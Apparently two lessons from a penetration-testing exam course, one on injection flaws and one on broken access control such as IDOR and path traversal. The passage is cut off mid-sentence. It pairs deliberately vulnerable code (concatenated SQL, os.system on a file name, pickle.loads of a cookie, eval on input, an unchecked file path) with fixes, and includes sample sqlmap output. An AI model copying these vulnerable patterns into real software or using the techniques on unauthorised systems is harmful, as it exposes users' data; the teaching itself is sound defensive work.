Shape the input on purpose and the same mistake becomes a breach. According to a joint CISA and FBI advisory, from 27 May 2023 the CL0P ransomware gang exploited a SQL injection flaw in Progress Software's MOVEit Transfer (CVE-2023-34362). The gang installed a web shell named LEMURLOOT and stole data from the databases behind it. A 2024 alert from the same agencies, responding to SQL injection in a managed file transfer application, put the impact at thousands of organizations.
This lesson runs one procedure against five interpreters. Lesson 18 covers the rest of objective 4.5.
Exam objectives: 4.5: injection attacks (SQL injection, command injection, cross-site scripting, server-side template injection), deserialization attacks and arbitrary code execution; tools sqlmap, Burp Suite and Zed Attack Proxy (ZAP).
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Even with permission, a test that changes a query can change data, so the rules of engagement (ROE) should settle four things first:
- which environment
- which test accounts
- whether any test may write data
- who answers the phone if something breaks
This course shows no attack strings and sends none. The inputs here are ordinary things such as a surname and a file name, and attack tools are taught by what they need and what they print.
The procedure: five questions for every input
- Where does input enter? List every value the application accepts: query strings, form and JSON bodies, path segments, headers, cookies, uploaded file names and values it stored earlier. The Web Security Testing Guide (WSTG) calls this identifying entry points (WSTG-INFO-06).
- Which interpreter reads it next? Follow the value to whatever parses it as a language.
- Are instructions kept apart from data? Read the code, or compare a control with an honest value containing the interpreter's special characters.
- What is the lightest proof the ROE allow? Prove the class of flaw and stop.
- What keeps data apart, and does a retest show it? Recommend the control, then confirm that honest input now works.
| Interpreter | What it reads as instructions | The dangerous call |
|---|---|---|
| SQL engine | Quotes, semicolons, comment markers, keywords | Query text built by concatenation |
| Operating system shell | Ampersands, semicolons, pipes, spaces, dollar signs | os.system in Python; shell_exec in PHP (PHP: Hypertext Preprocessor) |
| Visitor's browser | Angle brackets and quotes; anything in a script context | HTML built by concatenation; innerHTML |
| Template engine | The engine's delimiters, such as paired curly braces | render_template_string with input pasted in |
| Object loader | Class names and object structure inside the data | pickle.loads; PHP's unserialize; Java's readObject |
Key idea: this is one mistake in five settings. A program lets input become part of an interpreter's instructions; every real fix keeps the instructions fixed and hands the input over as data. OWASP's Top 10:2025 says under A05 Injection, "The concept is identical among all interpreters." Deserialization sits under A08 Software or Data Integrity Failures. LDAP injection and prompt injection (Lesson 22) share the pattern.
Burp Suite and Zed Attack Proxy: where step 1 happens
Burp Suite and Zed Attack Proxy are intercepting proxies: every request and response between your browser and the application lands in a history you can search. Both default to port 8080 on loopback, so run one at a time. Use the browser each tool launches, because modern browsers skip a configured proxy for loopback addresses unless told otherwise.
Try this in your lab. Start Juice Shop as in Lesson 2, then ZAP with zaproxy. Set the mode to Safe, choose Manual Explore, enter 127.0.0.1:3000 and launch the browser. (In Burp: Proxy > Intercept > Open browser.) Scroll the products, open one, and try the login form once with a made-up address such as learner@example.com. Leave the spider, Active Scan and fuzzer alone. Burp's HTTP history would show rows like these (sample, trimmed); ZAP's History tab is similar.
# Method URL Params Status Length
14 GET /rest/admin/application-configuration 200 20891
15 GET /rest/languages 200 5102
16 GET /rest/products/search?q= yes 200 14530
17 GET /rest/products/24/reviews 200 512
18 POST /rest/user/login yes 401 331
Read that as an inventory of inputs: a query parameter in row 16, a JSON body in row 18, and in row 17 a value in the path that a Params flag does not mark. Cookies and headers count as well.
| Task | Burp Suite Community Edition | Burp Suite Professional | ZAP |
|---|---|---|---|
| Cost | Free; Kali packages it as burpsuite | Paid licence | Free, open source (Apache 2.0) |
| Record and resend | HTTP history; Repeater; Decoder; Sequencer | The same | History tab, Sites tree; Manual Request Editor |
| Send many variations | Intruder, demo only | Intruder, full version | Fuzzer |
| Automated scanning | None | Burp Scanner | Passive scanning of all traffic; Active Scan on request |
Repeater suits one request changed a little at a time. A scanner suits breadth, and every alert still has to be validated. ZAP's passive scanning only reads traffic, but as its documentation says, "Active scanning is an attack on those targets." Its modes set the guard rail: Safe permits no potentially dangerous operations, Protected limits them to in-scope URLs, Standard restricts nothing, and ATTACK actively scans new in-scope pages as they appear. A sample alert follows; its confidence rating is only the tool's estimate.
SQL Injection Risk: High Confidence: Medium
Parameter: surname Attack: [removed]
Evidence: [database error text] CWE ID: 89
The exam's Zed Attack Proxy now goes by ZAP by Checkmarx, which hired its three project leaders in 2024; it stays open source, and older books call it OWASP ZAP. Defenders cannot see a proxy, but automation stands out: thousands of requests from one address, many of them errors.
Run 1: SQL injection in the order search
SQL injection (SQLi) happens when input reaches a Structured Query Language (SQL) query as part of its text. It is CWE-89, second on the 2025 CWE Top 25. Here is the whole procedure on Larkspur's staging site, under a signed scope.
Steps 1 to 3. The history shows one parameter, surname, which almost certainly reaches a database query. So send a control, then an honest value containing SQL's special character. WSTG-INPV-05 says the first test is usually a single quote, which SQL uses to end a string; %27 is the apostrophe URL-encoded.
# Request Status Length Body shows
41 GET /orders/search?surname=Okafor 200 412 her two orders
42 GET /orders/search?surname=O%27Brien 500 1893 OperationalError: near "Brien": syntax error
The client's source shows why:
# Vulnerable: the input is pasted into the query's text
def find_orders(conn, surname):
sql = "SELECT id, title FROM orders WHERE surname = '" + surname + "'"
return conn.execute(sql).fetchall()
When this lesson was written, that function, run with Python's sqlite3 module, raised exactly that error; other databases word it differently. The apostrophe closed the string early, so the database tried to read Brien as SQL. Input carrying quote marks and SQL keywords can go further: change which rows come back, add rows from other tables and, where the database and account allow it, write data or reach the operating system.
How much the application tells you decides which family of technique applies.
| Family | What the tester can observe |
|---|---|
| In-band, error-based | Database errors in the page, as in row 42 |
| In-band, UNION-based | Rows from a second query appear beside the page's own results |
| Blind, Boolean-based | A page that differs when a condition is true or false |
| Blind, time-based | A condition makes the database wait, so response times are the evidence |
| Out-of-band | The database contacts a host the tester controls, which logs it |
| Stacked queries | A second statement is accepted, which can change data, so it needs explicit ROE approval |
| Second-order | Input stored safely is pasted into a query later, so the failure shows up elsewhere, such as a nightly report |
Step 4. With writes forbidden, the proof is a read-only comparison on test data. Record the pair and stop; customer rows in your notes are a liability. Step 5. Bind the value instead of pasting it:
# Fixed: the query's text never changes, and the value travels separately
sql = "SELECT id, title FROM orders WHERE surname = ?"
return conn.execute(sql, (surname,)).fetchall()
This parameterized query is the first defense in OWASP's cheat sheet: the database fixes the query's structure before any value arrives, so the apostrophe is only a character in a name. Markers stand for data values only, so map a sort column to a short fixed list in code. A stored procedure or object-relational mapper that builds SQL from text is still injectable. Least privilege limits damage without preventing anything, and OWASP strongly discourages hand escaping.
A web application firewall (WAF) rule can block known patterns while the flaw stays behind it.
Run 2: the same two requests after two different fixes
Change one thing, the code, and send the same two requests. One developer binds the value. Another does this:
# Build A: removes apostrophes, then still concatenates
cleaned = surname.replace("'", "")
sql = "SELECT id, title FROM orders WHERE surname = '" + cleaned + "'"
When this lesson was written, the three versions gave these results on a small test table:
| Build | Okafor | O'Brien | Verdict |
|---|---|---|---|
| Original | Her orders | Syntax error | Flaw visible |
| Build A: filter | Her orders | No error, no rows | Error hidden, flaw still there |
| Build B: parameterized | Her orders | Her order | Fixed |
A retest asking "did the error stop?" passes Build A. A retest asking "did O'Brien find her order?" fails it, and that failure is your clue. The query is still built from text, and a numeric parameter needs no quote at all.
The flip runs the other way too. A validator or a WAF's block page also produces errors, so read the body: a database parser error is evidence, and a generic 403 says only that something disliked the character (Lesson 12).
Key idea: retest by behavior. A correct fix makes the honest input work; stopping the error is not enough.
sqlmap: confirming a lead at scale
sqlmap is an open source tool that automates detecting and exploiting SQL injection. You give it a URL or a saved request, plus any session cookie, and it works through the parameters. Its manual lists six SQL injection types (the families above plus inline queries) and now other classes such as NoSQL. It is an attack tool, so this course never runs it; learn when to choose it and how to read its output.
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: surname (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [removed]
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: [removed]
---
back-end DBMS: PostgreSQL
That sample is fictional. It names the parameter and how it travels, each technique that worked, and the database product. The Payload lines, removed here, hold the strings it sent.
Two settings matter to the ROE. Level (1-5) decides how many tests run and which parts of the request they touch, with cookies from level 2. Risk (1-3) decides how dangerous they may be. The default is innocuous for most injection points, but value 3 adds OR-based tests. These can update every row of a table if the injection point sits in an UPDATE statement.
Choose sqlmap after a manual lead, when blind extraction would take thousands of requests by hand, and Repeater when the application has rate limits, one-time tokens or a fragile workflow. Its default traffic names itself (sample log line):
203.0.113.50 - - [03/Nov/2026:14:02:11 +0000] "GET /orders/search?surname=[value removed] HTTP/1.1" 500 1893 "-" "sqlmap/1.x.x.x#dev (https://sqlmap.org)"
Run 3: command injection, where a shell reads the input
Larkspur fingerprints each catalog that publishers upload. A file named R&D titles.pdf returns an error. The file name goes to an operating system command:
# Vulnerable: a shell parses the whole string
os.system("sha256sum " + filename)
When this lesson was written, that command line, run through a POSIX shell, printed:
sha256sum: R: No such file or directory
sh: line 1: D: command not found
To a shell, an ampersand ends one command and starts the next, so it tried to run a program called D. The input chose which program ran, and nothing harmful happened only because no such program exists. That is command injection, CWE-78, ninth on the 2025 Top 25. A July 2024 CISA and FBI alert cites campaigns exploiting it in network edge devices (CVE-2024-20399, CVE-2024-3400, CVE-2024-21887).
Look wherever a feature wraps a system tool: ping in admin panels, file conversion, image resizing, backups. When output never reaches the page, testers rely on a time delay or an out-of-band callback, as with blind SQL injection. OWASP separates this from code injection, which adds code in the application's own language.
Prefer a library, so no shell is involved. If a program must run, pass its arguments as a list, so nothing parses the ampersand.
# Fixed: no shell, no external program
with open(path, "rb") as f:
digest = hashlib.file_digest(f, "sha256").hexdigest()
# Also safe from the shell: the arguments stay separate
subprocess.run(["sha256sum", "--", filename], check=True)
Both handled that name correctly when tested. The two dashes end the program's options, because a value starting with a dash could otherwise be read as one, which is argument injection. Add allow-list validation and least privilege; a denylist of punctuation is easy to get wrong.
Defenders watch process lineage: endpoint detection and response tools flag a web server such as apache2 or w3wp.exe starting a shell.
Run 4: cross-site scripting, where the visitor's browser reads the input
A customer reviews a novel and writes Better than <Dune>, in my view. The page shows "Better than , in my view." The trouble is in what the server sent:
# Vulnerable: stored text is pasted into HTML
return "<p>" + review + "</p>"
# Fixed: the text is encoded for the HTML context
return "<p>" + html.escape(review) + "</p>"
The fixed line sends the brackets as < and >, which display as the customer typed them. An HTML page is a program the visitor's browser runs, and the unencoded version let the customer's text become part of it. A word in angle brackets is harmless, but markup can also carry script. Script from the site's own page runs with that site's privileges. It can read what the page can read and act as the visitor. That is cross-site scripting (XSS), CWE-79, first on the 2025 Top 25; CSS already meant Cascading Style Sheets.
| Variant | How the input reaches the browser | Does the server see it? |
|---|---|---|
| Reflected | In a request, usually a crafted link, and echoed in that response | Yes, in the request |
| Stored | Saved and served to every later visitor, administrators included | Yes, in the saved data |
| DOM-based | Client-side script moves it from a source to a sink | Often not: the part of a URL after the # is never sent |
Test harmlessly first: send a unique plain word, find every place it comes back, and note what surrounds it. That context sets the encoding, because an HTML body, an HTML attribute, JavaScript, CSS and a URL all parse differently. PHP's htmlspecialchars and Python's html.escape suit the HTML contexts, and OWASP says not to put untrusted data directly into CSS source.
Try this in your lab. Search Juice Shop for a plain word such as lantern, then look for it in your proxy's history. You should not find it. At the time of writing, Juice Shop's source loads the products once with an empty q and filters them in the browser, while your word sits in the address bar after the #. That is a DOM source: the value never crosses the wire, so server logs cannot show it.
// Vulnerable: the URL fragment becomes markup
note.innerHTML = decodeURIComponent(location.hash.slice(1));
// Fixed: the same value becomes text
note.textContent = decodeURIComponent(location.hash.slice(1));
Frameworks escape what they render until a developer uses an escape hatch such as React's dangerouslySetInnerHTML. If a feature must accept HTML, use a sanitizer such as DOMPurify. Two headers, Content Security Policy (CSP) and a locked-down cookie, limit the damage when encoding misses a spot, as backup only:
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';
Set-Cookie: session=[value removed]; Secure; HttpOnly; SameSite=Lax
As evidence, a raw request and response plus a screenshot of a harmless marker agreed in the ROE is enough, and never another user's session.
Run 5: server-side template injection, where the template engine reads the input
Same feature, different interpreter. Many sites render pages from templates, fixed text with marked places for values, using engines such as Jinja2 or Twig. Suppose a developer glues the review into the template itself:
# Vulnerable: the review becomes part of the template's source
return render_template_string("<p>" + review + "</p>")
# Fixed: the template is a fixed file, and the review is a value passed to it
return render_template("review.html", review=review)
A review of a programming book mentions the two opening curly braces Jinja2 uses. When this lesson was written, such a review raised this error on the vulnerable line (Flask 3.1, Jinja2 3.1), and the fixed line printed it as plain text:
jinja2.exceptions.TemplateSyntaxError: expected token 'end of print statement', got 'well'
The engine read the customer's sentence as template code. That is server-side template injection (SSTI), CWE-1336. The standard detection (WSTG-INPV-18) submits a harmless arithmetic expression wrapped in the engine's delimiters. If the response shows the answer instead of what you typed, the server evaluated it. Then identify the engine, because each has its own syntax.
PortSwigger warns that SSTI is often mistaken for plain XSS, so decide by where the evaluation happened. If the answer is already in the raw response in your proxy, the server worked it out; XSS markup comes back unevaluated. It matters because template languages can usually reach the application's objects, so evaluation can grow into code execution on the server.
Autoescaping does not help: Flask enables it for render_template_string, but it applies to values passed in, not to text pasted into the source. If users must write templates, use a logic-less engine such as Mustache; sandboxes are prone to bypasses.
Run 6: deserialization, where the object loader reads the input
Serialization turns a live object into bytes to store or send, and deserialization rebuilds it. Larkspur keeps carts in a cookie:
Cookie: cart=gAWVFgAAAAAAAAB9lCiMA3NrdZRNEgSMA3F0eZRLAnUu
Here steps 1 and 2 mean recognizing the format. Base64 is encoding, not encryption, so Burp's Decoder shows the bytes at once: they begin 80 05, a Python pickle. Python's pickletools can list one without running it; pickle.loads would run it.
| Platform | What it looks like in traffic |
|---|---|
| Java native serialization | Hex AC ED 00 05; Base64 beginning rO0; type application/x-java-serialized-object |
| Python pickle | Base64 beginning gASV (protocol 4) or gAWV (protocol 5) |
| PHP serialize() | Readable text such as a:2:{s:3:"sku";i:1042;s:3:"qty";i:2;}, with O: marking an object |
Why worry about a harmless cart? A JSON parser can only build plain data. A native deserializer rebuilds whatever classes the data names, and rebuilding can run code. Python's documentation warns that malicious pickle data can execute arbitrary code during unpickling. PHP's unserialize automatically calls an object's __wakeup method, and its manual says not to pass it untrusted input. An attacker need not bring new code: classes already in the application's libraries, called gadgets, can be strung into a gadget chain so that rebuilding the object does the attacker's work.
# Vulnerable: the cookie decides what objects get built
cart = pickle.loads(base64.b64decode(request.cookies["cart"]))
# Fixed: check a signature, then use a format that builds only plain data
raw, sig = request.cookies["cart"].rsplit(".", 1)
if not hmac.compare_digest(sign(raw), sig):
abort(400)
cart = json.loads(base64.urlsafe_b64decode(raw))
sign computes a hash-based message authentication code (HMAC) with a key only the server holds. In PHP the same move is json_decode. In Java, a serialization filter allow-lists classes. In .NET, drop BinaryFormatter (Base64 beginning AAEAAAD/////), which Microsoft says is dangerous and cannot be secured.
The US National Vulnerability Database records CVE-2025-53770 as deserialization of untrusted data in on-premises Microsoft SharePoint Server. It lets an unauthorized attacker execute code over a network, and it is scored 9.8. CISA listed it as exploited on 20 July 2025. This course builds no gadget chains; on a job, code review showing client data reaching a native loader is often enough to report. ZAP's passive Java Serialization Object rule looks for the Java prefix.
Arbitrary code execution: the outcome at the end of the chain
Arbitrary code execution means an attacker's chosen instructions run on the target; triggered over a network, it is called remote code execution (RCE). It is an outcome, not a technique, so a report's root cause names the flaw that led there. SSTI and deserialization can arrive here directly, command injection starts here, and SQL injection arrives when the database and account allow it, as sqlmap's manual notes for stacked queries and MOVEit's web shell showed. XSS runs script in a visitor's browser, not code on the server.
The most direct route is code injection, CWE-94, tenth on the 2025 Top 25, where the application hands input to its own language:
# Vulnerable: the input is Python source
total = eval(request.args["expr"])
# Fixed: the input is only ever numbers
total = Decimal(request.args["price"]) * int(request.args["qty"])
The interpreter can hide where nobody looks. In Log4Shell (CVE-2021-44228, December 2021), an attacker who controlled a logged string could make Apache Log4j2 load and run code from a remote server.
Prove it with the least invasive evidence the ROE allow, such as the name of the account the process runs under. Install nothing, go nowhere else, and call the escalation contact the same day (Lesson 27). Process injection (Lesson 16) is something else: it moves code between local processes. ATT&CK files the break-in under T1190, Exploit Public-Facing Application.
The whole family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| SQL injection (CWE-89) | Query text built from input | Burp Suite, ZAP, sqlmap | Database errors; SQL keywords in parameters; WAF alerts; slow responses; DNS from the database | Parameterized queries; allow-list for identifiers |
| Command injection (CWE-78) | A shell parses a string built from input | Burp Suite, ZAP | Web process starting a shell; outbound traffic from the web tier | Library call; argument list with no shell; allow-list validation |
| Cross-site scripting (CWE-79) | Output not encoded for its context | Burp Suite, ZAP, browser tools | Markup in stored fields; CSP reports; WAF alerts; for DOM-based, perhaps nothing | Context-aware encoding; textContent; CSP and HttpOnly as backup |
| Server-side template injection (CWE-1336) | Input pasted into template source | Burp Suite, ZAP | Template errors in logs; delimiters in parameters; web process starting programs | Fixed templates, values passed as data; logic-less engine |
| Deserialization (CWE-502) | A native object loader reads client data | Burp Decoder, ZAP's passive rule | Deserialization errors in logs; known Base64 prefixes | JSON with a checked signature; class allow-list |
| Arbitrary code execution (CWE-94 when direct) | Any route here, or eval on input | Burp Suite, ZAP | Process lineage; new web files; outbound connections | Fix the route; least privilege; restrict outbound traffic |
A worked performance-based question: five rows of evidence
A simulation question hands you evidence and asks for decisions, and CompTIA says partial credit may be given. Every input here is harmless and within the ROE of a fictional staging test. For each row, name the flaw and the next step.
| Row | Feature and input | What came back |
|---|---|---|
| A | Diagnostics page; a label containing an ampersand | This line in the page: sh: 1: B: not found |
| B | Review form; a word in angle brackets | The word is missing for later visitors, and the source shows raw angle brackets |
| C | Gift message preview; a small sum inside the engine's delimiters | The raw response shows the sum's answer, not what was typed |
| D | No input sent; the prefs cookie, decoded from Base64 | Bytes begin AC ED 00 05 |
| E | Report filter; O'Brien, who exists in the table | HTTP 200, no rows, no error |
Ask which interpreter could have produced each result.
| Row | Flaw | The reasoning | Next step |
|---|---|---|---|
| A | Command injection | Only a shell treats what follows an ampersand as a program to run, and this is that attempt failing | Stop; save the pair; call the escalation contact |
| B | Stored XSS | Saved and served to others, and raw brackets show no encoding | Note the context; repeat with an agreed harmless marker |
| C | SSTI | The answer is already in the raw response, so the server computed it | Identify the engine; stop; escalate |
| D | Possible deserialization flaw | Those bytes are Java's native format, but the format alone does not show how the server reads it | Ask for the code; report what is shown |
| E | Not proven | Wrong results for a real customer suggest a filter over concatenation, but that is not yet proof | Read the code; or, with approval, a read-only comparison in Repeater |
Rows B and C both echo input, and the deciding detail is where the evaluation happened. Row E tempts you both ways: "no error, so it is safe" and "it must be SQL injection" are equally unsupported.
Exam cues: the words in the stem and the pairs people confuse
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| An apostrophe produces a database error | In-band, error-based SQL injection | A 403 block page from a WAF |
| The page differs when a condition is true or false | Boolean-based blind SQL injection | Time-based blind: only the delay differs |
| Best fix for SQL injection | Parameterized queries | Escaping, a WAF rule or least privilege |
| A sort column reaches the query | Allow-list mapping | A parameter marker, which binds values only |
| A feature wraps ping or a file converter | Command injection | Code injection, in the application's own language |
| A comment shown to every later visitor | Stored XSS | Reflected XSS, which needs a crafted link |
| The value after # never reaches the server | DOM-based XSS | Reflected XSS, echoed by the server |
| A sum's answer appears in the raw response | Server-side template injection | XSS, where the browser does the work |
A cookie's Base64 begins rO0 | Java serialized object: suspect deserialization | Encryption, or a JWT, whose Base64 begins eyJ |
| Resend one request by hand and compare | Burp Repeater | Intruder, which sends many variations |
| Free active scanner | ZAP | Burp Community, which has no scanner |
How injection findings are reported
Here is Larkspur's fictional finding from Run 1, as the client would read it.
- Title: SQL injection in the order search lets any signed-in customer read every customer's orders.
- Severity: High, CVSS 3.1 base 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N). A free customer account is the only precondition. Confidentiality and integrity are High because the database account can read and update the orders table, per the code review. It is not Critical because login is required.
- Evidence: Proxy history entries 41 and 42, dated, from the test account: the control returned 200, and O'Brien returned 500 with the database parser error. One sqlmap run at default level and risk, 46 requests, retrieved only the database product name. No customer data was retrieved.
- Root cause:
find_orders()builds its query by concatenating the surname parameter (CWE-89; OWASP A05:2025). - Remediation: Bind the value with a parameterized query, and check the module for the same pattern. Limit the database account's rights. Retest: O'Brien must find her own order, and the same sqlmap run must find nothing.
As starting judgments that context can change: proven code execution is usually Critical, or High if it needs a login, and escalated the same day. Stored XSS in a page administrators read is often High. Reflected and DOM-based XSS are often Medium, since a victim must follow a link. Deserialization seen in code but not exercised is reported with that limit stated.
Common misconceptions
- "No error means the injection is fixed." A filter can hide the error. Check that honest input gives the correct result.
- "A WAF fixes SQL injection." It can block known patterns while the flaw stays in the code.
- "XSS happens on the server." The server delivers it and the browser runs it. SSTI is the one the server evaluates.
- "Base64 hides the cookie's contents." Anyone can decode it. Only a checked signature shows the data was not altered.
Looking back
- All five flaws are one mistake: input becomes part of an interpreter's instructions. The fix hands input over as data.
- Parameterized queries fix SQL injection and allow-lists handle sort columns; retest by behavior, because a real fix returns O'Brien's order and a filter returns nothing.
- SQL injection families follow the feedback available: in-band (error-based, UNION-based), blind (Boolean-based, time-based) and out-of-band, plus stacked queries and second-order.
- Burp Suite and ZAP record and replay traffic; ZAP's free active scanner and Burp's paid one go wide; sqlmap goes deep on one SQL lead.
- For command injection, prefer a library call, then an argument list with no shell, plus allow-list validation.
- XSS runs in the browser as reflected, stored or DOM-based; encoding must match the context (HTML, attribute, JavaScript, CSS, URL), and CSP and HttpOnly are backup.
- SSTI runs on the server: a sum answered in the raw response is the sign, and a fixed template with values passed as data is the fix.
- Native deserializers rebuild whatever the data names. Java shows AC ED 00 05 or rO0; use JSON with a checked signature.
- Arbitrary code execution is the outcome, so the root cause names the flaw, and proof stops at the lightest evidence the ROE allow.
Sources
- OWASP Foundation. (2020). Web security testing guide (v4.2): WSTG-INFO-06, WSTG-INPV-01, WSTG-INPV-02, WSTG-INPV-05, WSTG-INPV-12, WSTG-INPV-18, WSTG-CLNT-01. wstg.owasp.org
- OWASP Foundation. (n.d.). OWASP cheat sheet series (SQL injection prevention; OS command injection defense; XSS prevention; DOM-based XSS prevention; Content Security Policy; deserialization); Top 10:2025; Command injection. cheat sheets; Top 10:2025; owasp.org
- MITRE. (2025). 2025 CWE Top 25 most dangerous software weaknesses; CWE entries 94, 502 and 1336; ATT&CK technique T1190. cwe.mitre.org; attack.mitre.org
- CISA and FBI. (2023). #StopRansomware: CL0P ransomware gang exploits CVE-2023-34362 MOVEit vulnerability (AA23-158A). cisa.gov; (2024). Secure by design alert: Eliminating SQL injection vulnerabilities in software. cisa.gov; (2024). Secure by design alert: Eliminating OS command injection vulnerabilities. cisa.gov
- NIST. (n.d.). National Vulnerability Database: CVE-2025-53770; CVE-2021-44228. nvd.nist.gov
- sqlmap project. (n.d.). sqlmap wiki: Usage; Techniques. github.com
- PortSwigger. (n.d.). Burp Suite documentation and Web Security Academy. documentation; editions compared; Web Security Academy
- ZAP project. (n.d.). ZAP documentation: Getting started; Modes; Proxies; Active scan; Java Serialization Object rule. modes; Bennetts, S. (2024, September 24). ZAP has joined forces with Checkmarx. zaproxy.org
- Python Software Foundation. (n.d.). pickle: Python object serialization. docs.python.org; The PHP Group. (n.d.). unserialize. php.net; Pallets. (n.d.). Flask documentation: Templates. flask.palletsprojects.com
- Key terms
- SQL injection
- A flaw in which input reaches a database query as SQL text, so it can change what the query does; abbreviated SQLi and catalogued as CWE-89.
- Prepared statement
- A query whose text is fixed first, with values bound to it separately, so a value can never change the query's structure; also called a parameterized query.
- Command injection
- A flaw in which input reaches an operating system shell, so it can decide which programs run; catalogued as CWE-78.
- Cross-site scripting
- A flaw, abbreviated XSS, in which input reaches a page unencoded and runs as script in a visitor's browser, in reflected, stored or DOM-based form.
- Server-side template injection
- A flaw, abbreviated SSTI, in which input becomes part of a template's source, so the template engine evaluates it on the server.
- Deserialization attack
- An attack in which crafted data makes a native object loader rebuild objects of the attacker's choosing, which can run code; catalogued as CWE-502.
- Arbitrary code execution
- The outcome in which an attacker's chosen instructions run on a target; called remote code execution when triggered over a network.
- Burp Suite
- PortSwigger's web testing toolkit built around an intercepting proxy, with Repeater, Decoder, Comparer and Sequencer in the free Community Edition and a scanner in the paid Professional edition.
- Zed Attack Proxy
- A free, open source intercepting proxy and web scanner, also called ZAP, with passive and active scanning and Safe, Protected, Standard and ATTACK modes.
- sqlmap
- An open source tool that automates detecting and exploiting SQL injection, with level and risk settings that control how many tests run and how dangerous they may be.
Broken Trust in the Web App: Access Control, Sessions, Files, Requests, and APIs
- For each of IDOR, directory traversal, file inclusion, SSRF, CSRF, session hijacking, brute-force and collision attacks, API abuse and JWT manipulation, name the trust the application extends wrongly and the check that removes it.
- Recognize each flaw in evidence such as a request log, a decoded token or a short code sample, and say what defenders would see.
- Choose among Postman, Gobuster/DirBuster, Wfuzz, WPScan and TruffleHog for a task, and read what they report.
- Write a finding with severity, evidence, root cause and remediation for a broken access control flaw.
One digit in a link
In May 2019 the security journalist Brian Krebs reported that First American Financial, a US title insurer, let anyone view a customer's document if they knew its web link. Change one number in the link and a different customer's document appeared. The numbers looked sequential, and the exposure reached about 885 million files, some dating back more than 16 years.[1]
Nobody broke in. The site never asked whether the person requesting document N was entitled to see it. In 2021 the US Securities and Exchange Commission settled with the company for about $488,000, finding that senior executives had not been told that a January 2019 manual penetration test had already identified the vulnerability.[2]
This lesson finishes exam objective 4.5. Lesson 17 covered injection, deserialization and code execution, where input becomes instructions. The flaws here share a different mistake: the application trusts something it should have checked.
Exam objectives: 4.5: brute-force and collision attacks, directory traversal, server-side request forgery (SSRF), cross-site request forgery (CSRF), insecure direct object reference (IDOR), session hijacking, file inclusions (remote file inclusion, local file inclusion and web shells), API abuse and JSON Web Token (JWT) manipulation; tools Postman, Gobuster/DirBuster, Wfuzz, WPScan and TruffleHog.
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Even with permission, a test that reads another user's data touches personal information, so the rules of engagement (ROE) should say which test accounts you may use and what you may view.
Every command in this course runs only against your own lab: OWASP Juice Shop at 127.0.0.1:3000, or the Metasploitable 2 machine at 192.168.56.102. Nothing here is an attack string or a ready-made exploit. You will see what each flaw is, how to recognize it, and what removes it.
The comparison: whose word does the application take?
Every flaw in this lesson is a decision the server made on someone's say-so. Ask the same question of each one, and the list becomes easy to hold in your head.
| Flaw | Whose word is taken | The missing check |
|---|---|---|
| Insecure direct object reference (IDOR) | The identifier in the request | Does this user own this object? |
| Directory traversal and file inclusion | The file name or path in the request | Is this path inside the allowed folder, and is it a file we meant to serve? |
| Server-side request forgery (SSRF) | The address the user supplies | May the server fetch this destination? |
| Cross-site request forgery (CSRF) | The browser's automatic cookie | Did the user actually mean to send this? |
| Session hijacking | The session identifier | Is this the person it was issued to? |
| Brute-force and collision attacks | Any guess, or any matching digest | Is there a limit on guesses, and does an equal digest really mean equal content? |
| API abuse | The caller's claimed role and object | Is this caller allowed this function on this property? |
| JSON Web Token (JWT) manipulation | The token's own header and claims | Is the signature valid under the algorithm we chose? |
Key idea: the fix is nearly always a check the server makes for itself, on every request, using facts it holds, never facts the client supplies.
Insecure direct object reference (IDOR): the First American flaw
An insecure direct object reference (IDOR) is a request that names an object, such as an invoice, a basket or a document, by a value the user can edit, where the server never checks that the user may have that object. OWASP's testing guide describes it as an access control failure that lets a tester reach another user's data by changing a parameter that points at an object.[3] The modern name in API work is broken object level authorization, which tops OWASP's API Security Top 10.[6]
Why it happens: the developer wrote code that loads an object by its number and tested it with the logged-in user's own numbers. Everything worked. Nobody asked what happens with someone else's number.
A tester recognizes it by comparing two users. OWASP's guide recommends at least two test accounts that each own different objects.[3] Log in as account A and note a request that fetches A's object. Replay it with A's session but B's object identifier. If B's data returns, the flaw is real. Here is a fictional record from a shop's access log that a defender could notice:
10.0.0.8 user=ana GET /api/orders/1041 200 ok
10.0.0.8 user=ana GET /api/orders/1042 200 ok
10.0.0.8 user=ana GET /api/orders/1043 200 ok
10.0.0.8 user=ana GET /api/orders/1044 403 denied
10.0.0.8 user=ana GET /api/orders/1045 200 ok
One user walking consecutive numbers is the tell. The 403 on 1044 shows a check exists somewhere, and the 200s around it show it was applied unevenly. Change one input and the result flips: if every order Ana does not own returned 403, the control works and the finding disappears.
Unguessable identifiers do not fix this. A random 128-bit identifier hides objects but still serves them to anyone who learns the value from a log, a shared link or a referrer. The fix is an ownership check on the server for every request. Random identifiers are an extra layer, not a substitute.
Defenders look for one account requesting many different object identifiers, runs of sequential numbers, or a rising count of 403 responses. A Web Application Firewall (WAF) sees this poorly, because each request looks legitimate. Only the application knows who owns what.
Directory traversal and file inclusion: when the path is the input
Directory traversal is a flaw in which a file name supplied by the user is joined onto a folder path, and the user can climb out of that folder with parent-directory sequences to read files elsewhere on the server. The application meant to serve images from one folder and ends up serving any file the web server account can read, such as configuration files that hold passwords.[3]
Here is a fictional vulnerable download handler beside a fixed one. Read them as a code reviewer.
# Vulnerable: the name goes straight into the path
def download(name):
return send_file(os.path.join(BASE, name))
# Fixed: resolve the final path, then confirm it is still inside BASE
def download(name):
full = os.path.realpath(os.path.join(BASE, name))
if not full.startswith(os.path.realpath(BASE) + os.sep):
abort(404)
return send_file(full)
The fix resolves the path first, then compares. Checking the raw text for forbidden characters fails because the same path can be written in encoded forms the check never sees. A stronger design avoids paths altogether: the user sends an ID, and the server maps the ID to a file it chose.
File inclusion is the same weakness in a worse place. Some web languages, notably PHP (PHP: Hypertext Preprocessor), can include a file, which means they read it and run its contents as code. When the file name comes from the user, there are two cases:
